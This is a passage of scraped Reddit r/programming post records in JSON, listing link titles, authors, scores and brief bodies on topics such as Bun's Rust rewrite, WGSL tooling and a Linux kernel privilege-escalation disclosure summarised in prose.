  "permalink": "https://www.reddit.com/r/programming/comments/1t93crv/snakesrun_rendering_100m_pixels_a_second_over_ssh/",
  "title": "snakes.run: rendering 100M pixels a second over ssh · eieio.games",
  "body": null,
  "author": "fagnerbrack",
  "subreddit": "programming",
  "score": 35,
  "upvoteRatio": 0.9,
  "numComments": 1,
  "createdAt": "2026-05-10T10:32:56.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://eieio.games/blog/secure-massively-multiplayer-snake/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1t934m0",
  "url": "https://leetarxiv.substack.com/p/pell-equation-over-a-finite-field",
  "permalink": "https://www.reddit.com/r/programming/comments/1t934m0/pell_equation_over_a_finite_field_in_c/",
  "title": "Pell Equation Over a Finite Field in C",
  "body": null,
  "author": "DataBaeBee",
  "subreddit": "programming",
  "score": 6,
  "upvoteRatio": 0.75,
  "numComments": 0,
  "createdAt": "2026-05-10T10:20:00.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://leetarxiv.substack.com/p/pell-equation-over-a-finite-field",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1t8zlr8",
  "url": "https://wgsl.run",
  "permalink": "https://www.reddit.com/r/programming/comments/1t8zlr8/wgslrun_a_wgsl_sandbox_with_live_webgpu_preview/",
  "title": "wgsl.run - a WGSL sandbox with live WebGPU preview",
  "body": "Live editor for WGSL with a WebGPU canvas underneath: type a shader, hit run, see it draw. Multi-file projects, share-via-URL, host JS override, OPFS-persisted.\n\nUnderneath: libwgsl — a from-scratch C99 WGSL frontend (lex / parse / resolve / const-eval / typecheck / validate). ~0.37 ms / Kloc warm parse, no dependencies, MIT.\n\nSandbox: https://wgsl.run \nSource: https://github.com/toprakdeviren/libwgsl \nVS Code: https://marketplace.visualstudio.com/items?itemName=toprakdeviren.wgsl-run",
  "author": "BigAd4703",
  "subreddit": "programming",
  "score": 9,
  "upvoteRatio": 0.91,
  "numComments": 0,
  "createdAt": "2026-05-10T06:57:06.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://wgsl.run",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1t8oq9k",
  "url": "https://matklad.github.io/2026/02/25/against-query-based-compilers.html",
  "permalink": "https://www.reddit.com/r/programming/comments/1t8oq9k/against_query_based_compilers/",
  "title": "Against Query Based Compilers",
  "body": null,
  "author": "fagnerbrack",
  "subreddit": "programming",
  "score": 35,
  "upvoteRatio": 0.9,
  "numComments": 3,
  "createdAt": "2026-05-09T22:13:54.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://matklad.github.io/2026/02/25/against-query-based-compilers.html",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1t8n0vl",
  "url": "https://xcancel.com/jarredsumner/status/2053047748191232310",
  "permalink": "https://www.reddit.com/r/programming/comments/1t8n0vl/buns_rewrite_from_zig_to_rust_passes_998_of/",
  "title": "Bun’s rewrite from Zig to Rust passes 99.8% of testsuite",
  "body": "per @jarredsumner:\n\n> 99.8% of bun’s pre-existing test suite passes on Linux x64 glibc in the rust rewrite\n\n> it’s basically the same codebase except now we can have the compiler enforce the lifetimes of types and we get destructors when we want them. and the ugly parts look uglier (unsafe) which encourages refactoring.\n\n> why: I am so tired of worrying about & spending lots of time fixing memory leaks and crashes and stability issues. it would be so nice if the language provided more powerful tools for preventing these things.\n\n> > But how long does it take to compile?\n\n> It’s basically the same as in zig using our faster zig compiler. If we were using the upstream zig compiler, rust port would compile faster",
  "author": "read_volatile",
  "subreddit": "programming",
  "score": 577,
  "upvoteRatio": 0.86,
  "numComments": 292,
  "createdAt": "2026-05-09T21:04:12.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://xcancel.com/jarredsumner/status/2053047748191232310",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1t89woz",
  "url": "https://blog.gaborkoos.com/posts/2026-05-09-Your-Recursion-Is-Lying-to-You/?utm_source=reddit&utm_medium=social&utm_campaign=your-recursion-is-lying-to-you&utm_content=r_programming",
  "permalink": "https://www.reddit.com/r/programming/comments/1t89woz/javascript_specified_tail_call_optimization_in/",
  "title": "JavaScript specified tail call optimization in ES2015. Most engines never implemented it, and your tail-recursive code can still blow the stack.",
  "body": null,
  "author": "OtherwisePush6424",
  "subreddit": "programming",
  "score": 170,
  "upvoteRatio": 0.95,
  "numComments": 42,
  "createdAt": "2026-05-09T16:39:58.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://blog.gaborkoos.com/posts/2026-05-09-Your-Recursion-Is-Lying-to-You/?utm_source=reddit&utm_medium=social&utm_campaign=your-recursion-is-lying-to-you&utm_content=r_programming",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1t885cp",
  "url": "https://bogomolov.work/blog/posts/wasm-vs-docker/",
  "permalink": "https://www.reddit.com/r/programming/comments/1t885cp/docker_images_are_hundreds_of_mb_a_full_game/",
  "title": "Docker images are hundreds of MB; a full game engine compiles to 35MB WASM",
  "body": null,
  "author": "c1rno123",
  "subreddit": "programming",
  "score": 228,
  "upvoteRatio": 0.68,
  "numComments": 130,
  "createdAt": "2026-05-09T15:32:24.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://bogomolov.work/blog/posts/wasm-vs-docker/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1t83n7a",
  "url": "https://stoffelmpc.com/stoffel-blog/beaver-triples-tuples?utm_source=reddit&utm_medium=social&utm_campaign=mpc-blog-series&utm_content=rstoffelmpc",
  "permalink": "https://www.reddit.com/r/programming/comments/1t83n7a/computing_with_secret_shares_introducing_beaver/",
  "title": "Computing with Secret Shares - Introducing Beaver Triples - Stoffel - MPC Made Simple",
  "body": null,
  "author": "badcryptobitch",
  "subreddit": "programming",
  "score": 0,
  "upvoteRatio": 0.5,
  "numComments": 0,
  "createdAt": "2026-05-09T12:27:39.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://stoffelmpc.com/stoffel-blog/beaver-triples-tuples?utm_source=reddit&utm_medium=social&utm_campaign=mpc-blog-series&utm_content=rstoffelmpc",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1t81wbu",
  "url": "https://codeutopia.net/blog/2026/05/09/you-should-read-programming-as-theory-building/",
  "permalink": "https://www.reddit.com/r/programming/comments/1t81wbu/you_should_read_programming_as_theory_building/",
  "title": "You should read Programming as Theory Building",
  "body": null,
  "author": "jhartikainen",
  "subreddit": "programming",
  "score": 315,
  "upvoteRatio": 0.95,
  "numComments": 74,
  "createdAt": "2026-05-09T11:02:01.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://codeutopia.net/blog/2026/05/09/you-should-read-programming-as-theory-building/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1t7zdyt",
  "url": "https://event-driven.io/en/how_events_can_help_on_making_state_based_approach_efficient/",
  "permalink": "https://www.reddit.com/r/programming/comments/1t7zdyt/how_events_can_help_in_making_the_statebased/",
  "title": "How events can help in making the state-based approach efficient",
  "body": null,
  "author": "Adventurous-Salt8514",
  "subreddit": "programming",
  "score": 1,
  "upvoteRatio": 0.54,
  "numComments": 0,
  "createdAt": "2026-05-09T08:45:46.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://event-driven.io/en/how_events_can_help_on_making_state_based_approach_efficient/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1t7vicb",
  "url": "https://evanhahn.com/the-two-kinds-of-error/",
  "permalink": "https://www.reddit.com/r/programming/comments/1t7vicb/the_two_kinds_of_error/",
  "title": "The two kinds of error",
  "body": null,
  "author": "fagnerbrack",
  "subreddit": "programming",
  "score": 0,
  "upvoteRatio": 0.42,
  "numComments": 4,
  "createdAt": "2026-05-09T05:11:34.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://evanhahn.com/the-two-kinds-of-error/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1t7qsfi",
  "url": "https://talkingpostgres.com/episodes/from-memsql-to-horizondb-an-engineers-journey-with-adam-prout",
  "permalink": "https://www.reddit.com/r/programming/comments/1t7qsfi/how_database_work_pulls_you_deep_into_systems/",
  "title": "How database work pulls you deep into systems engineering (podcast episode with Adam Prout)",
  "body": "If you’re into systems programming, or you’ve ever had to think hard about correctness and failure modes, this might be interesting.\n\nI had Adam Prout (distinguished engineer at Microsoft, founding architect of Azure HorizonDB) on the Talking Postgres podcast to talk about building database systems and trying to make Postgres and Azure fit together cleanly.\n\nHighlights:\n\n* “A good systems programmer tends to mean you’re very paranoid. Anything can go wrong…”\n* Shared-storage architecture changes where a lot of the work happens\n* With Rust, a large class of bugs just won’t compile\n* Working on databases pulls in a surprising amount of computer science\n* Startup vs big company tradeoffs show up everywhere\n\nAlso this line: “The agents are very fast keyboards.”\n\nEpisode (audio + transcript): [https://talkingpostgres.com/episodes/from-memsql-to-horizondb-an-engineers-journey-with-adam-prout](https://talkingpostgres.com/episodes/from-memsql-to-horizondb-an-engineers-journey-with-adam-prout)\n\nYouTube (audio): [https://youtu.be/dsyWz6tcfh0?si=kTMD1eTamlVneVXN](https://youtu.be/dsyWz6tcfh0?si=kTMD1eTamlVneVXN)\n\nCurious if you enjoy hearing about other people's engineering journeys, and what bits of Adam's episode you find most fascinating. ",
  "author": "clairegiordano",
  "subreddit": "programming",
  "score": 74,
  "upvoteRatio": 0.93,
  "numComments": 3,
  "createdAt": "2026-05-09T01:22:53.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://talkingpostgres.com/episodes/from-memsql-to-horizondb-an-engineers-journey-with-adam-prout",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1t7nej7",
  "url": "https://www.wiz.io/blog/dirty-frag-linux-kernel-local-privilege-escalation-via-esp-and-rxrpc",
  "permalink": "https://www.reddit.com/r/programming/comments/1t7nej7/dirty_frag_yet_another_universal_linux_kernel/",
  "title": "Dirty Frag: Yet Another Universal Linux Kernel Privilege Escalation Vulnerability Active Since 2017, Unaffected By \"Copy Fail\" Mitigations",
  "body": "Here we go again...\n\nAnother Linux kernel privilege escalation vulnerability like \"Copy Fail\" that allows escalation to root reliably on all major Linux distros since 2017. This time it doesn't rely on the `algif_aead` kernel module, so it works even if you have a kernel with the Copy Fail mitigations.\n\nThis one's also a true zero day in that at the time of announcement, no fixes have been made upstream. The embargo on public disclosure was broken when an unrelated third party revealed the details and it seems like it was being exploited in the wild forcing everyone to step outside the coordinated disclosure timeline and announce this.\n\nThere is one silver lining: this one requires the `CAP_NET_ADMIN` capability, which is less likely in hardened container environments, e.g. K8s with default seccomp profiles.",
  "author": "CircumspectCapybara",
  "subreddit": "programming",
  "score": 140,
  "upvoteRatio": 0.94,
  "numComments": 8,
  "createdAt": "2026-05-08T22:53:32.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://www.wiz.io/blog/dirty-frag-linux-kernel-local-privilege-escalation-via-esp-and-rxrpc",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1t7lwwp",
  "url": "https://discord.com/blog/how-discord-automates-scylladb-clusters-at-scale",
  "permalink": "https://www.reddit.com/r/programming/comments/1t7lwwp/how_discord_automates_scylladb_clusters_at_scale/",
  "title": "How Discord Automates ScyllaDB Clusters at Scale",
  "body": null,
  "author": "swdevtest",
  "subreddit": "programming",
  "score": 20,
  "upvoteRatio": 0.8,
  "numComments": 2,
  "createdAt": "2026-05-08T21:53:12.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://discord.com/blog/how-discord-automates-scylladb-clusters-at-scale",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1t7it4t",
  "url": "https://hacks.mozilla.org/2026/05/behind-the-scenes-hardening-firefox/",
  "permalink": "https://www.reddit.com/r/programming/comments/1t7it4t/mozilla_behind_the_scenes_hardening_firefox/",
  "title": "Mozilla: Behind the Scenes Hardening Firefox",
  "body": null,
  "author": "CircumspectCapybara",
  "subreddit": "programming",
  "score": 218,
  "upvoteRatio": 0.93,
  "numComments": 37,
  "createdAt": "2026-05-08T19:56:46.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://hacks.mozilla.org/2026/05/behind-the-scenes-hardening-firefox/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1t7bxls",
  "url": "https://dhung.dev/blog/onboarding-hazing-ritual",
  "permalink": "https://www.reddit.com/r/programming/comments/1t7bxls/your_onboarding_is_a_hazing_ritual_and_you_call/",
  "title": "Your Onboarding Is a Hazing Ritual and You Call It Agile",
  "body": null,
  "author": "ImTheRealDh",
  "subreddit": "programming",
  "score": 95,
  "upvoteRatio": 0.81,
  "numComments": 45,
  "createdAt": "2026-05-08T15:51:57.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://dhung.dev/blog/onboarding-hazing-ritual",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1t7ax31",
  "url": "https://www.stroustrup.com/bs_faq2.html#memory-leaks",
  "permalink": "https://www.reddit.com/r/programming/comments/1t7ax31/bjarne_stroustrup_how_do_i_deal_with_memory_leaks/",
  "title": "Bjarne Stroustrup: How do I deal with memory leaks? By writing code that doesn't have any.",
  "body": null,
  "author": "someone-very-cool",
  "subreddit": "programming",
  "score": 817,
  "upvoteRatio": 0.94,
  "numComments": 289,
  "createdAt": "2026-05-08T15:15:33.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://www.stroustrup.com/bs_faq2.html#memory-leaks",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1t7a8f0",
  "url": "https://www.phoronix.com/news/NVIDIA-CUDA-Oxide-0.1",
  "permalink": "https://www.reddit.com/r/programming/comments/1t7a8f0/nvidia_releases_cudaoxide_01_for_experimental/",
  "title": "NVIDIA releases CUDA-Oxide 0.1 for experimental Rust-to-CUDA compiler",
  "body": null,
  "author": "Fcking_Chuck",
  "subreddit": "programming",
  "score": 65,
  "upvoteRatio": 0.89,
  "numComments": 10,
  "createdAt": "2026-05-08T14:51:34.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://www.phoronix.com/news/NVIDIA-CUDA-Oxide-0.1",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1t78cgt",
  "url": "https://privatecaptcha.com/blog/google-cloud-fraud-defence-wei/",
  "permalink": "https://www.reddit.com/r/programming/comments/1t78cgt/google_cloud_fraud_defence_is_just_wei_repackaged/",
  "title": "Google Cloud Fraud Defence is just WEI repackaged",
  "body": null,
  "author": "ribtoks",
  "subreddit": "programming",
  "score": 82,
  "upvoteRatio": 0.96,
  "numComments": 11,
  "createdAt": "2026-05-08T13:42:23.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://privatecaptcha.com/blog/google-cloud-fraud-defence-wei/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1t6y9iw",
  "url": "https://blog.dlang.org/2026/05/05/the-amazing-compile-time-state-machine/",
  "permalink": "https://www.reddit.com/r/programming/comments/1t6y9iw/implementing_a_typesafe_compiletime_builder_in_d/",
  "title": "Implementing a type-safe, compile-time Builder in D",
  "body": "This blog post shows how to use D's compile-time features to put together to implement the Builder pattern with minimal run-time overhead.",
  "author": "aldacron",
  "subreddit": "programming",
  "score": 42,
  "upvoteRatio": 0.91,
  "numComments": 9,
  "createdAt": "2026-05-08T05:11:25.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://blog.dlang.org/2026/05/05/the-amazing-compile-time-state-machine/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1t6y6o1",
  "url": "https://www.notion.com/blog/how-we-made-notion-available-offline",
  "permalink": "https://www.reddit.com/r/programming/comments/1t6y6o1/how_we_made_notion_available_offline/",
  "title": "How we made Notion available offline",
  "body": null,
  "author": "fagnerbrack",
  "subreddit": "programming",
  "score": 105,
  "upvoteRatio": 0.91,
  "numComments": 44,
  "createdAt": "2026-05-08T05:07:09.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://www.notion.com/blog/how-we-made-notion-available-offline",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1t6t13k",
  "url": "https://imtomt.github.io/ymawky/",
  "permalink": "https://www.reddit.com/r/programming/comments/1t6t13k/building_a_web_server_in_raw_arm64_assembly/",
  "title": "building a web server in raw arm64 assembly",
  "body": null,
  "author": "kavantoine",
  "subreddit": "programming",
  "score": 88,
  "upvoteRatio": 0.94,
  "numComments": 13,
  "createdAt": "2026-05-08T00:57:15.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://imtomt.github.io/ymawky/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1t6rfzq",
  "url": "https://leetarxiv.substack.com/p/python-using-equivalence-classes",
  "permalink": "https://www.reddit.com/r/programming/comments/1t6rfzq/using_equivalence_classes_to_accelerate_solving/",
  "title": "Using Equivalence Classes to Accelerate Solving the Discrete Logarithm Problem in a Short Interval",
  "body": null,
  "author": "DataBaeBee",
  "subreddit": "programming",
  "score": 2,
  "upvoteRatio": 0.76,
  "numComments": 1,
  "createdAt": "2026-05-07T23:45:58.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://leetarxiv.substack.com/p/python-using-equivalence-classes",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1t6l9kw",
  "url": "https://labs.iximiuz.com/tutorials/oci-containers-explained",
  "permalink": "https://www.reddit.com/r/programming/comments/1t6l9kw/containers_arent_just_linux_processes/",
  "title": "Containers Aren’t Just Linux Processes",
  "body": null,
  "author": "iximiuz",
  "subreddit": "programming",
  "score": 164,
  "upvoteRatio": 0.94,
  "numComments": 8,
  "createdAt": "2026-05-07T19:46:01.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://labs.iximiuz.com/tutorials/oci-containers-explained",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1t6l7mj",
  "url": "https://moq.dev/blog/webrtc-is-the-problem/",
  "permalink": "https://www.reddit.com/r/programming/comments/1t6l7mj/openais_webrtc_problem/",
  "title": "OpenAI's WebRTC Problem",
  "body": null,
  "author": "kixelated",
  "subreddit": "programming",
  "score": 337,
  "upvoteRatio": 0.94,
  "numComments": 62,
  "createdAt": "2026-05-07T19:44:05.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://moq.dev/blog/webrtc-is-the-problem/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1t6hynd",
  "url": "https://alfy.blog/2026/05/07/html-sanitizer-api.html",
  "permalink": "https://www.reddit.com/r/programming/comments/1t6hynd/hyml_sanitizer_api/",
  "title": "HYML Sanitizer API",
  "body": "I wrote an article about HTML Sanitizer API, a new native API that allows us to sanitize and parse HTML without relying on third party tools like DOMPurify",
  "author": "ahmadalfy",
  "subreddit": "programming",
  "score": 5,
  "upvoteRatio": 0.65,
  "numComments": 6,
  "createdAt": "2026-05-07T17:49:53.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://alfy.blog/2026/05/07/html-sanitizer-api.html",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1t6hela",
  "url": "https://youtu.be/zqM6Y_g5UKo",
  "permalink": "https://www.reddit.com/r/programming/comments/1t6hela/spring_boot_json_logging_with_user_and_session/",
  "title": "Spring Boot Json Logging With User And Session",
  "body": null,
  "author": "Efficient-Public-551",
  "subreddit": "programming",
  "score": 0,
  "upvoteRatio": 0.33,
  "numComments": 0,
  "createdAt": "2026-05-07T17:30:49.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://youtu.be/zqM6Y_g5UKo",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1t6fx7a",
  "url": "https://notnotp.com/notes/use-protocols-not-services/",
  "permalink": "https://www.reddit.com/r/programming/comments/1t6fx7a/use_protocols_not_services/",
  "title": "Use Protocols, Not Services",
  "body": null,
  "author": "fagnerbrack",
  "subreddit": "programming",
  "score": 115,
  "upvoteRatio": 0.91,
  "numComments": 48,
  "createdAt": "2026-05-07T16:39:33.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://notnotp.com/notes/use-protocols-not-services/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1t6dspe",
  "url": "https://fossforce.com/2026/05/the-php-license-is-dead-long-live-the-bsd-3-clause/",
  "permalink": "https://www.reddit.com/r/programming/comments/1t6dspe/the_php_license_is_dead_long_live_the_bsd_3clause/",
  "title": "The PHP License Is Dead; Long Live the BSD 3-Clause",
  "body": null,
  "author": "CackleRooster",
  "subreddit": "programming",
  "score": 230,
  "upvoteRatio": 0.91,
  "numComments": 126,
  "createdAt": "2026-05-07T15:25:08.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://fossforce.com/2026/05/the-php-license-is-dead-long-live-the-bsd-3-clause/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1t6dqn3",
  "url": "https://youtu.be/-yuU92URgz8?si=cJI8WI9AWIE_dkLI",
  "permalink": "https://www.reddit.com/r/programming/comments/1t6dqn3/applying_formal_grammars_in_a_custom_programming/",
  "title": "Applying formal grammars in a custom programming language",
  "body": "The theory behind formal grammars explained through building a programming language",
  "author": "Xaneris47",
  "subreddit": "programming",
  "score": 6,
  "upvoteRatio": 0.75,
  "numComments": 2,
  "createdAt": "2026-05-07T15:23:09.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://youtu.be/-yuU92URgz8?si=cJI8WI9AWIE_dkLI",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1t6axgh",
  "url": "https://fabiensanglard.net/quake_asm_optimizations/index.html",
  "permalink": "https://www.reddit.com/r/programming/comments/1t6axgh/how_michael_abrash_doubled_quake_framerate/",
  "title": "How Michael Abrash doubled Quake framerate",
  "body": null,
  "author": "fagnerbrack",
  "subreddit": "programming",
  "score": 84,
  "upvoteRatio": 0.84,
  "numComments": 32,
  "createdAt": "2026-05-07T13:42:00.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://fabiensanglard.net/quake_asm_optimizations/index.html",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1t69njw",
  "url": "https://programmingarehard.com/2026/05/06/react-router-dialogs.html/",
  "permalink": "https://www.reddit.com/r/programming/comments/1t69njw/untangling_dialogs_in_react_router/",
  "title": "Untangling dialogs in React Router",
  "body": "I have been struggling with determining how to best implement dialogs in React Router apps for years:\n\n* useState to control their open state\n* Forms vs fetchers for data submissions\n* resource routes to form data(<select> options)\n* useEffect for listening for the action data to close the dialog\n* useEffect for listing for a toast message\n\nThere's a lot to consider. However, tons of these problems go away if you move dialogs into their own dedicated routes. This doesn't come without its own set of challenges though.\n\nI've written up a guide on how to implement dialogs and keep your sanity. Hope it helps 🤘",
  "author": "dadamssg",
  "subreddit": "programming",
  "score": 0,
  "upvoteRatio": 0.43,
  "numComments": 4,
  "createdAt": "2026-05-07T12:52:14.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://programmingarehard.com/2026/05/06/react-router-dialogs.html/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1t68rc7",
  "url": "https://youtu.be/tKO29SA7CAU?list=PLEx5khR4g7PJy5LslEV6EbSEhmw-88ezL",
  "permalink": "https://www.reddit.com/r/programming/comments/1t68rc7/beyond_the_basics_production_serverless_patterns/",
  "title": "Beyond the Basics: Production Serverless Patterns for Extreme Scale • Janak Agarwal",
  "body": null,
  "author": "goto-con",
  "subreddit": "programming",
  "score": 0,
  "upvoteRatio": 0.33,
  "numComments": 0,
  "createdAt": "2026-05-07T12:14:45.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://youtu.be/tKO29SA7CAU?list=PLEx5khR4g7PJy5LslEV6EbSEhmw-88ezL",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1t67k3c",
  "url": "https://devblogs.microsoft.com/visualstudio/sdk-style-support-for-extension-projects/",
  "permalink": "https://www.reddit.com/r/programming/comments/1t67k3c/visual_studio_new_sdkstyle_support_for_extension/",
  "title": "Visual Studio: New SDK-Style Support for Extension Projects",
  "body": null,
  "author": "piotrkarczmarz",
  "subreddit": "programming",
  "score": 13,
  "upvoteRatio": 0.87,
  "numComments": 4,
  "createdAt": "2026-05-07T11:21:06.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://devblogs.microsoft.com/visualstudio/sdk-style-support-for-extension-projects/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
